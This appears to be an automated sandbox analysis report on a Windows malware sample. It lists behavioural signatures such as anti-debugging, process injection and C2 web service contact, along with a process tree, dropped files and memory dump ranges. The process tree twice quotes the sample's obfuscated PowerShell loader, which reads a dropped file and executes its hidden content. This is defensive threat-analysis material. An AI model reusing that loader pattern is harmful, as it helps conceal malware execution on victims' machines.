Analysis
- max time kernel
179s - max time network
183s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/08/2026, 17:08
General
- Target df8713d43b4799acade8e6240fab3dbb4063caa25c7b1d9aca326eb991f20968.exe
- Size 665KB
- Sample260810-vnyv1steja
- SHA256 df8713d43b4799acade8e6240fab3dbb4063caa25c7b1d9aca326eb991f20968
Malware Config
Signatures
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Drops file in Program Files directory 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 18 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\df8713d43b4799acade8e6240fab3dbb4063caa25c7b1d9aca326eb991f20968.exe"C:\Users\Admin\AppData\Local\Temp\df8713d43b4799acade8e6240fab3dbb4063caa25c7b1d9aca326eb991f20968.exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized "$Skrivninger=gc -Raw 'C:\Users\Admin\AppData\Local\ngleben\balisaurs\uvederhftigheders\Fernissages219.Cit';$songsters=$Skrivninger.SubString(52695,3); .$songsters($Skrivninger)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Badlisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized "$Skrivninger=gc -Raw 'C:\Users\Admin\AppData\Local\ngleben\balisaurs\uvederhftigheders\Fernissages219.Cit';$songsters=$Skrivninger.SubString(52695,3); .$songsters($Skrivninger)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Badlisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
595CD0DCED5F6DE43A9C77C525C44511
75A092F4522006A97542D6AC4F4E69D2
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
595CD0DCED5F6DE43A9C77C525C44511
75A092F4522006A97542D6AC4F4E69D2
ModuleAnalysisCache
__PSScriptPolicyTest_y4mmghx0.onj.ps1
Abbreviatory.del
Fernissages219.Cit
memory/1132-64-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/1132-69-0x0000000007980000-0x000000000799C000-memory.dmp
memory/1132-29-0x0000000006190000-0x00000000061B2000-memory.dmp
memory/1132-30-0x0000000007350000-0x000000000790A000-memory.dmp
memory/1132-27-0x0000000006CF0000-0x0000000006D86000-memory.dmp
memory/1132-32-0x0000000007F90000-0x000000000860C000-memory.dmp
memory/1132-34-0x000000006F320000-0x000000006F36C000-memory.dmp
memory/1132-33-0x0000000007050000-0x0000000007086000-memory.dmp
memory/1132-35-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/1132-38-0x0000000007090000-0x00000000070B0000-memory.dmp
memory/1132-39-0x00000000070C0000-0x0000000007163000-memory.dmp
memory/1132-40-0x00000000071C0000-0x00000000071CA000-memory.dmp
memory/1132-41-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/1132-42-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/1132-43-0x0000000007910000-0x0000000007921000-memory.dmp
memory/1132-60-0x0000000007340000-0x0000000007350000-memory.dmp
memory/1132-16-0x00000000023F0000-0x0000000002426000-memory.dmp
memory/1132-18-0x0000000004F40000-0x000000000558A000-memory.dmp
memory/1132-63-0x0000000072912000-0x0000000072913000-memory.dmp
memory/1132-15-0x0000000072912000-0x0000000072913000-memory.dmp
memory/1132-65-0x0000000007930000-0x0000000007945000-memory.dmp
memory/1132-17-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/1132-26-0x0000000005C70000-0x0000000005CBC000-memory.dmp
memory/1132-28-0x0000000006130000-0x000000000614A000-memory.dmp
memory/1132-70-0x0000000007970000-0x0000000007978000-memory.dmp
memory/1132-72-0x00000000079C0000-0x00000000079E4000-memory.dmp
memory/1132-71-0x0000000007980000-0x00000000079AA000-memory.dmp
memory/1132-73-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/1132-74-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/1132-19-0x0000000004E30000-0x0000000004E52000-memory.dmp
memory/1132-25-0x0000000005C20000-0x0000000005C3E000-memory.dmp
memory/1132-80-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/1132-81-0x0000000008610000-0x000000000A886000-memory.dmp
memory/1132-82-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/1132-20-0x0000000005640000-0x00000000056A6000-memory.dmp
memory/1132-21-0x00000000056B0000-0x0000000005716000-memory.dmp
memory/1132-24-0x0000000005720000-0x0000000005A7B000-memory.dmp
memory/1132-88-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/3100-86-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/3100-91-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/3100-85-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/3100-83-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/3100-76-0x000000006F320000-0x000000006F36C000-memory.dmp
memory/3100-68-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/3100-62-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/3100-61-0x0000000072900000-0x00000000730BC000-memory.dmp
memory/5604-107-0x0000000000A30000-0x0000000001D16000-memory.dmp